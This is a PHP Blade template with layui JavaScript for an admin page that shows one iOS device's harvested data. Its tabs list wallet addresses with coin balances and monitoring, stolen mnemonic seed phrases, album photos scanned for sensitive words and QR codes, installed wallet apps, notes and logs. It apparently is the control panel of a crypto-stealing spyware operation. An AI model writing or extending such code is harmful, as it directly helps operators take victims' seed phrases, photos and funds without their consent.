380 lines
15 KiB
PHP
380 lines
15 KiB
PHP
@extends('admin.content')
|
|
|
|
@section('title', '设备 '.$device->device_id)
|
|
|
|
@section('content')
|
|
<div class="layui-card">
|
|
<div class="layui-card-body">
|
|
<table class="layui-table" style="margin-bottom: 16px;">
|
|
<tr>
|
|
<th width="140">设备 ID</th>
|
|
<td><code>{{ $device->device_id }}</code></td>
|
|
<th width="140">渠道 ID</th>
|
|
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
|
</tr>
|
|
<tr>
|
|
<th>设备型号</th>
|
|
<td>{{ $device->device_model ?: '—' }}</td>
|
|
<th>iOS 版本</th>
|
|
<td>{{ $device->ios_version ?: '—' }}</td>
|
|
</tr>
|
|
<tr>
|
|
<th>IP</th>
|
|
<td>{{ $device->ip ?: '—' }}</td>
|
|
<th>相册存储</th>
|
|
<td>
|
|
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
|
|
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
|
|
lay-filter="LAY-device-album-storage"
|
|
{{ $device->albumStorageEnabled() ? 'checked' : '' }}>
|
|
</form>
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<th>User-Agent</th>
|
|
<td colspan="3" class="wrap">{{ $device->user_agent ?: '—' }}</td>
|
|
</tr>
|
|
<tr>
|
|
<th>安装 / 更新</th>
|
|
<td colspan="3">{{ $device->created_at }} / {{ $device->updated_at }}</td>
|
|
</tr>
|
|
</table>
|
|
|
|
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
|
|
<ul class="layui-tab-title">
|
|
@php $tabs = [
|
|
'wallets' => '钱包地址',
|
|
'mnemonics' => '助记词',
|
|
'photos' => '相册',
|
|
'apps' => '已装 APP',
|
|
'notes' => '备忘录',
|
|
'events' => '日志',
|
|
]; @endphp
|
|
@foreach ($tabs as $key => $label)
|
|
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
|
|
<a href="{{ route(($portal ?? 'admin').'.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
|
|
</li>
|
|
@endforeach
|
|
</ul>
|
|
</div>
|
|
|
|
<div class="device-tab-body" style="padding-top: 16px;">
|
|
@if ($tab === 'photos')
|
|
<form class="layui-form" lay-filter="LAY-photo-filter" style="margin-bottom: 12px;">
|
|
<div class="layui-form-item" style="margin-bottom: 0;">
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label" style="width: auto;">敏感词</label>
|
|
<div class="layui-input-inline" style="width: 180px;">
|
|
<select name="sensitive">
|
|
<option value="">全部</option>
|
|
<option value="1">含敏感词 (x-hit>0)</option>
|
|
</select>
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<button class="layui-btn" lay-submit lay-filter="LAY-photo-search">筛选</button>
|
|
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-photo-reset">重置</button>
|
|
<button type="button" class="layui-btn layui-btn-danger" id="LAY-photo-clear">清理相册数据</button>
|
|
</div>
|
|
</div>
|
|
</form>
|
|
<div id="LAY-photo-grid" class="photo-grid"></div>
|
|
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
|
|
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
|
|
@else
|
|
@if ($tab === 'wallets')
|
|
<form class="layui-form" lay-filter="LAY-wallet-filter" style="margin-bottom: 12px;">
|
|
<div class="layui-form-item" style="margin-bottom: 0;">
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label" style="width: auto;">Source</label>
|
|
<div class="layui-input-inline" style="width: 180px;">
|
|
<select name="source">
|
|
<option value="">全部</option>
|
|
@foreach ($addressSources as $src)
|
|
<option value="{{ $src }}">{{ $src }}</option>
|
|
@endforeach
|
|
</select>
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label" style="width: auto;">Chain</label>
|
|
<div class="layui-input-inline" style="width: 160px;">
|
|
<select name="chain_type">
|
|
<option value="">全部</option>
|
|
@foreach ($addressChains as $chain)
|
|
<option value="{{ $chain }}">{{ $chain }}</option>
|
|
@endforeach
|
|
</select>
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<button class="layui-btn" lay-submit lay-filter="LAY-wallet-search">筛选</button>
|
|
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-wallet-reset">重置</button>
|
|
</div>
|
|
</div>
|
|
</form>
|
|
@endif
|
|
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
|
|
@endif
|
|
</div>
|
|
</div>
|
|
</div>
|
|
@endsection
|
|
|
|
@push('scripts')
|
|
<script>
|
|
layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|
var table = layui.table;
|
|
var form = layui.form;
|
|
var laypage = layui.laypage;
|
|
var layer = layui.layer;
|
|
var $ = layui.$;
|
|
var tab = @json($tab);
|
|
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
|
|
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
|
|
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
|
|
var token = @json(csrf_token());
|
|
var dash = function (v) { return v ? v : '—'; };
|
|
var esc = function (v) {
|
|
return String(v == null ? '' : v)
|
|
.replace(/&/g, '&')
|
|
.replace(/</g, '<')
|
|
.replace(/>/g, '>')
|
|
.replace(/"/g, '"');
|
|
};
|
|
|
|
form.on('switch(LAY-device-album-storage)', function (obj) {
|
|
var on = obj.elem.checked ? 1 : 0;
|
|
$.ajax({
|
|
url: updateUrl,
|
|
method: 'POST',
|
|
data: { album_storage: on, _method: 'PUT', _token: token },
|
|
success: function (res) {
|
|
if (!res || res.code !== 0) {
|
|
obj.elem.checked = !obj.elem.checked;
|
|
form.render('checkbox');
|
|
return layer.msg((res && res.msg) || '保存失败');
|
|
}
|
|
layer.msg(on ? '已开启相册存储' : '已关闭相册存储');
|
|
},
|
|
error: function () {
|
|
obj.elem.checked = !obj.elem.checked;
|
|
form.render('checkbox');
|
|
layer.msg('保存失败');
|
|
}
|
|
});
|
|
});
|
|
form.render('checkbox');
|
|
|
|
if (tab === 'photos') {
|
|
var photoState = { page: 1, limit: 15, sensitive: '' };
|
|
|
|
var renderPhotos = function () {
|
|
$.getJSON(tabDataUrl, {
|
|
tab: 'photos',
|
|
page: photoState.page,
|
|
limit: photoState.limit,
|
|
sensitive: photoState.sensitive
|
|
}, function (res) {
|
|
var $grid = $('#LAY-photo-grid').empty();
|
|
var list = (res && res.data) ? res.data : [];
|
|
if (!list.length) {
|
|
$('#LAY-photo-empty').show();
|
|
} else {
|
|
$('#LAY-photo-empty').hide();
|
|
list.forEach(function (p) {
|
|
var hit = (p.x_hit == null || p.x_hit === '') ? '—' : p.x_hit;
|
|
var card = $(
|
|
'<a class="photo-card" href="javascript:;">' +
|
|
'<img alt="">' +
|
|
'<div></div>' +
|
|
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
|
|
'</a>'
|
|
);
|
|
card.find('img').attr('src', p.url).attr('alt', p.sha256 || '');
|
|
card.find('div').eq(0).text((p.size == null ? '—' : p.size) + ' B · x-hit ' + hit);
|
|
card.find('div').eq(1).text(
|
|
'up ' + dash(p.upload_count) +
|
|
' · idx ' + dash(p.process_index) +
|
|
' · text ' + dash(p.text_count) +
|
|
' · qr ' + dash(p.barcode_count)
|
|
);
|
|
card.on('click', function (e) {
|
|
e.preventDefault();
|
|
layer.open({
|
|
type: 1,
|
|
title: '相册预览',
|
|
area: ['80%', '85%'],
|
|
shadeClose: true,
|
|
content: '<div style="padding:12px;text-align:center;background:#111;min-height:100%;box-sizing:border-box;">' +
|
|
'<img src="' + p.url + '" style="max-width:100%;max-height:75vh;object-fit:contain;">' +
|
|
'<div style="color:#ccc;margin-top:10px;font-size:12px;word-break:break-all;">' +
|
|
esc(p.sha256 || '') + '</div></div>'
|
|
});
|
|
});
|
|
$grid.append(card);
|
|
});
|
|
}
|
|
|
|
laypage.render({
|
|
elem: 'LAY-photo-page',
|
|
count: (res && res.count) ? res.count : 0,
|
|
curr: photoState.page,
|
|
limit: photoState.limit,
|
|
limits: [10, 15, 20, 30, 50],
|
|
layout: ['count', 'prev', 'page', 'next', 'limit'],
|
|
jump: function (obj, first) {
|
|
if (first) return;
|
|
photoState.page = obj.curr;
|
|
photoState.limit = obj.limit;
|
|
renderPhotos();
|
|
}
|
|
});
|
|
});
|
|
};
|
|
|
|
form.on('submit(LAY-photo-search)', function (data) {
|
|
photoState.sensitive = data.field.sensitive || '';
|
|
photoState.page = 1;
|
|
renderPhotos();
|
|
return false;
|
|
});
|
|
|
|
$('#LAY-photo-reset').on('click', function () {
|
|
setTimeout(function () {
|
|
photoState.sensitive = '';
|
|
photoState.page = 1;
|
|
renderPhotos();
|
|
}, 0);
|
|
});
|
|
|
|
$('#LAY-photo-clear').on('click', function () {
|
|
layer.confirm('确认清理该设备全部相册数据?将删除数据库记录及本地图片文件,且不可恢复。', {
|
|
icon: 3,
|
|
title: '清理相册'
|
|
}, function (index) {
|
|
layer.close(index);
|
|
var loading = layer.load(1, { shade: 0.2 });
|
|
$.ajax({
|
|
url: clearPhotosUrl,
|
|
method: 'POST',
|
|
data: { _token: token },
|
|
success: function (res) {
|
|
layer.close(loading);
|
|
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '清理失败');
|
|
var n = (res.data && res.data.deleted_rows) ? res.data.deleted_rows : 0;
|
|
layer.msg('已清理 ' + n + ' 条相册记录');
|
|
photoState.page = 1;
|
|
renderPhotos();
|
|
},
|
|
error: function () {
|
|
layer.close(loading);
|
|
layer.msg('清理失败');
|
|
}
|
|
});
|
|
});
|
|
});
|
|
|
|
form.render('select');
|
|
renderPhotos();
|
|
return;
|
|
}
|
|
|
|
var colsMap = {
|
|
wallets: [[
|
|
{ field: 'id', title: 'ID', width: 80, sort: true },
|
|
{ field: 'source', title: 'Source', width: 140, sort: true, templet: function (d) { return dash(d.source); } },
|
|
{ field: 'chain_type', title: 'Chain', width: 120, sort: true, templet: function (d) { return dash(d.chain_type); } },
|
|
{ field: 'address', title: 'Address', minWidth: 220, sort: true, templet: function (d) { return '<code>' + esc(d.address) + '</code>'; } },
|
|
{ field: 'usdt', title: 'USDT', width: 90 },
|
|
{ field: 'trx', title: 'TRX', width: 90 },
|
|
{ field: 'eth', title: 'ETH', width: 90 },
|
|
{ field: 'btc', title: 'BTC', width: 100 },
|
|
{ field: 'bnb', title: 'BNB', width: 90 },
|
|
{ field: 'monitor', title: '监听', width: 70, templet: function (d) {
|
|
return Number(d.monitor) === 1 ? '开' : '关';
|
|
} },
|
|
{ field: 'updated_at', title: '更新时间', width: 170, sort: true, templet: function (d) { return dash(d.updated_at); } }
|
|
]],
|
|
mnemonics: [[
|
|
{ field: 'id', title: 'ID', width: 80, sort: true },
|
|
{ field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } },
|
|
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
|
|
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
|
|
]],
|
|
apps: [[
|
|
{ field: 'id', title: 'ID', width: 80, sort: true },
|
|
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
|
|
{ field: 'bundle_id', title: 'Bundle', minWidth: 200, sort: true, templet: function (d) { return d.bundle_id ? '<code>' + esc(d.bundle_id) + '</code>' : '—'; } },
|
|
{ field: 'version', title: '版本', width: 120, sort: true, templet: function (d) { return dash(d.version); } },
|
|
{ field: 'is_wallet', title: 'Wallet', width: 100, sort: true, templet: function (d) {
|
|
return d.is_wallet ? '<span class="tag-wallet">wallet</span>' : '—';
|
|
} }
|
|
]],
|
|
notes: [[
|
|
{ field: 'id', title: 'ID', width: 80, sort: true },
|
|
{ field: 'content', title: 'Content', minWidth: 320, templet: function (d) {
|
|
return d.content ? '<span class="wrap">' + esc(d.content) + '</span>' : '—';
|
|
} },
|
|
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
|
|
]],
|
|
events: [[
|
|
{ field: 'id', title: 'ID', width: 80, sort: true },
|
|
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
|
{ field: 'event_name', title: 'Event', width: 160, sort: true, templet: function (d) { return d.event_name ? '<code>' + esc(d.event_name) + '</code>' : '—'; } },
|
|
{ field: 'desc', title: 'Desc', minWidth: 180, templet: function (d) { return dash(d.desc); } },
|
|
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
|
|
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
|
|
} }
|
|
]]
|
|
};
|
|
var emptyMap = {
|
|
wallets: '暂无地址',
|
|
mnemonics: '暂无助记词',
|
|
apps: '暂无应用',
|
|
notes: '暂无备忘录',
|
|
events: '暂无日志'
|
|
};
|
|
|
|
table.render({
|
|
elem: '#LAY-device-tab-list',
|
|
id: 'LAY-device-tab-list',
|
|
url: tabDataUrl,
|
|
where: { tab: tab },
|
|
toolbar: true,
|
|
defaultToolbar: ['filter', 'exports', 'print'],
|
|
cols: colsMap[tab] || colsMap.wallets,
|
|
page: true,
|
|
limit: 15,
|
|
limits: [10, 15, 20, 30, 50],
|
|
text: { none: emptyMap[tab] || '暂无数据' },
|
|
request: { pageName: 'page', limitName: 'limit' },
|
|
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
|
});
|
|
|
|
if (tab === 'wallets') {
|
|
form.render('select');
|
|
form.on('submit(LAY-wallet-search)', function (data) {
|
|
table.reload('LAY-device-tab-list', {
|
|
where: {
|
|
tab: 'wallets',
|
|
source: data.field.source || '',
|
|
chain_type: data.field.chain_type || ''
|
|
},
|
|
page: { curr: 1 }
|
|
});
|
|
return false;
|
|
});
|
|
$('#LAY-wallet-reset').on('click', function () {
|
|
setTimeout(function () {
|
|
table.reload('LAY-device-tab-list', {
|
|
where: { tab: 'wallets', source: '', chain_type: '' },
|
|
page: { curr: 1 }
|
|
});
|
|
}, 0);
|
|
});
|
|
}
|
|
});
|
|
</script>
|
|
@endpush
|